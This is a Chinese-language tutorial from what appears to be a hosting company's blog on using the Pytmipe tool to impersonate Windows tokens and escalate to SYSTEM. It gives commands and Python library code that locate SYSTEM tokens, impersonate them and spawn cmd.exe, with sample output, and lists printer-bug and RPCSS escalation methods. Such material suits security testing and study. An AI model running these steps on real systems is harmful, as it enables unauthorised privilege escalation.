本篇内容介绍了“怎么使用Pytmipe实现Windows上的令牌篡改和提权”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!
PYTMIPE (通过令牌篡改和伪造实现提权的Python库)是一个Python 3库,支持在Windows系统中实现令牌篡改和模拟,最终实现权限提升。TMIPE则是一个Python 3客户端,它主要使用的就是pytmipe库。
一个Python客户端:tmipe(python3 tmipe.py);
一个Python库:pytmipe,用于将该项目与其他项目整合;
Pytinstaller样例,用于获取可执行文件;
方法 | 需要的权限 | 操作系统(未包含全部) | 直接目标(最佳效果) |
令牌创建&伪造 | 用户名& 密码 | All | local administrator |
令牌伪造&窃取 | SeDebugPrivilege | All | nt authority\system |
父PID嗅探(句柄继承) | SeDebugPrivilege | >= Vista | nt authority\system |
服务(SCM) | 本地管理员 | All | nt authority\system or domain account |
WMI 事件 | 本地管理员 | All | nt authority\system |
« 指针漏洞 » LPE | SeImpersonatePrivilege (Service 账号) | Windows 8.1, 10 & Server 2012R2/2016/2019 | nt authority\system |
RPCSS 服务LPE | SeImpersonatePrivilege (Service 账号) | Windows 10 & Server 2016/2019 | nt authority\system |
ctypes使用的情况非常多,pywin32的很多功能都已经整合进了pytmipe,以获得更好的可移植性。但是,目前由于时间紧任务中,任务调度程序模块仍然使用pywin32(更确切地说是pythoncom)。所有其他模块仅使用ctypes。
广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/quentinhardy/pytmipe.git
针对python客户端(tmipe):
python.exe tmipe.py -h usage: tmipe.py [-h] [--version] {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm} ... ** 888888 8b d8 88 88""Yb 888888 88 88b d88 88 88__dP 88__ 88 88YbdP88 88 88""" 88"" 88 88 YY 88 88 88 888888 ------------------------------------------- Token Manipulation, Impersonation and Privilege Escalation (Tool) ------------------------------------------- By Quentin HARDY (quentin.hardy@protonmail.com) positional arguments: {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm} Choose a main command cangetadmin Check if user can get admin access printalltokens Print all tokens accessible from current thread printalltokensbyname Print all tokens accessible from current thread by account name printalltokensbypid Print all tokens accessible from current thread by pid printsystemtokens Print all system tokens accessible from current searchimpfirstsystem search and impersonate first system token imppid impersonate primary token of selected pid and try to spawn cmd.exe imptoken impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe printerbug exploit the "printer bug" for getting system shell rpcss exploit "rpcss" for getting system shell spoof parent PID Spoofing ("handle inheritance)" impuser create process with creds with impersonation runas create process with creds as runas scm create process with Service Control Manager optional arguments: -h, --help show this help message and exit --version show program's version number and exit
针对python库(pytmipe),可以直接查看源码和样本,这些我已经提供了非常详细的文档以供参考。
针对pyinstaller样本和可执行文件,请查看该项目的src/examples/文件夹。
如需伪造第一个system令牌,并以system权限打开cmd.exe(使用python客户端-tmipe):
python.exe tmipe.py searchimpfirstsystem -vv
我们也可以直接使用pytmipe库来进行相同操作:
from impersonate import Impersonate from utils import configureLogging configureLogging() imp = Impersonate() imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
获取当前进程中的主令牌:
python.exe tmipe.py printalltokens --current --full --linked
输出:
- PID: 3212 ------------------------------ - PID: 3212 - type: Primary (1) - token: 764 - hval: None - ihandle: None - sid: S-1-5-18 - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1} - intlvl: System - owner: S-1-5-32-544 - Groups: - S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER) - S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY) - S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY) - S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY) - Privileges (User Rights): - SeAssignPrimaryTokenPrivilege: Enabled [...] - SeTrustedCredManAccessPrivilege: Enabled - issystem: True - sessionID: 1 - elevationtype: Default (1) - iselevated: True - Linked Token: None - tokensource: b'*SYSTEM*' - primarysidgroup: S-1-5-18 - isrestricted: False - hasrestricitions: True - Default DACL: - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'} - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'} [...] - Mandatory Policy: NO_WRITE_UP
如需从当前线程获取所有的令牌,可以使用下列命令:
python.exe tmipe.py printalltokensbypid --imp-only
输出:
[...] - PID 4276: - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True) - PID 7252: - None - PID 1660: - S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True) - S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True) - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True) - S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True) - S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True) [...]
如果想要使用pytmipe库来实现这个操作,也非常简单:
from impersonate import Impersonate from utils import configureLogging configureLogging() imp = Impersonate() imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
我们可以选择一个令牌进行伪造。第一步,根据我们的过滤器获取所有的令牌:
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
输出:
[...] - PID: 2288 ------------------------------ - PID: 2288 - type: Impersonation (2) - token: 2504 - ihandle: 118 - sid: S-1-5-18 - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1} - intlvl: System - owner: S-1-5-18 - issystem: True - elevationtype: Default (1) - iselevated: True - linkedtoken: None - implevel: Impersonate (2) - appcontainertoken: False [...] - primarysidgroup: S-1-5-18 - isrestricted: False - hasrestricitions: True - Mandatory Policy: VALID_MASK - canimpersonate: True [...]
输出结果显示,伪造的令牌位于PID 2288,该令牌具有完整性级别系统。可以使用以下命令伪造此特定令牌:
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
这条命令将以nt authority\system权限打开cmd.exe。我们也可以使用pytmipe库来实现相同的效果,下面的源代码能够伪造第一个可用的system令牌,并打印有效令牌:
from impersonate import Impersonate from windef import TokenImpersonation allTokens = imp.getTokensAccessibleFilter(targetPID=None, filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation}, _useThreadMethod=False) if allTokens == {} or allTokens==None: print("No one token found for impersonation") else: pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens' firstIHandle = allTokens[pid][0]['ihandle'] imp.printThisToken(allTokens, pid, firstIHandle) imp.impersonateThisToken(pid=pid, iHandle=firstIHandle) print("Current Effective token for current thread after impersonation:") imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False) imp.terminateImpersonation() print("Current Effective token for current thread (impersonation finished):") imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
“怎么使用Pytmipe实现Windows上的令牌篡改和提权”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注亿速云网站,小编将为大家输出更多高质量的实用文章!
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。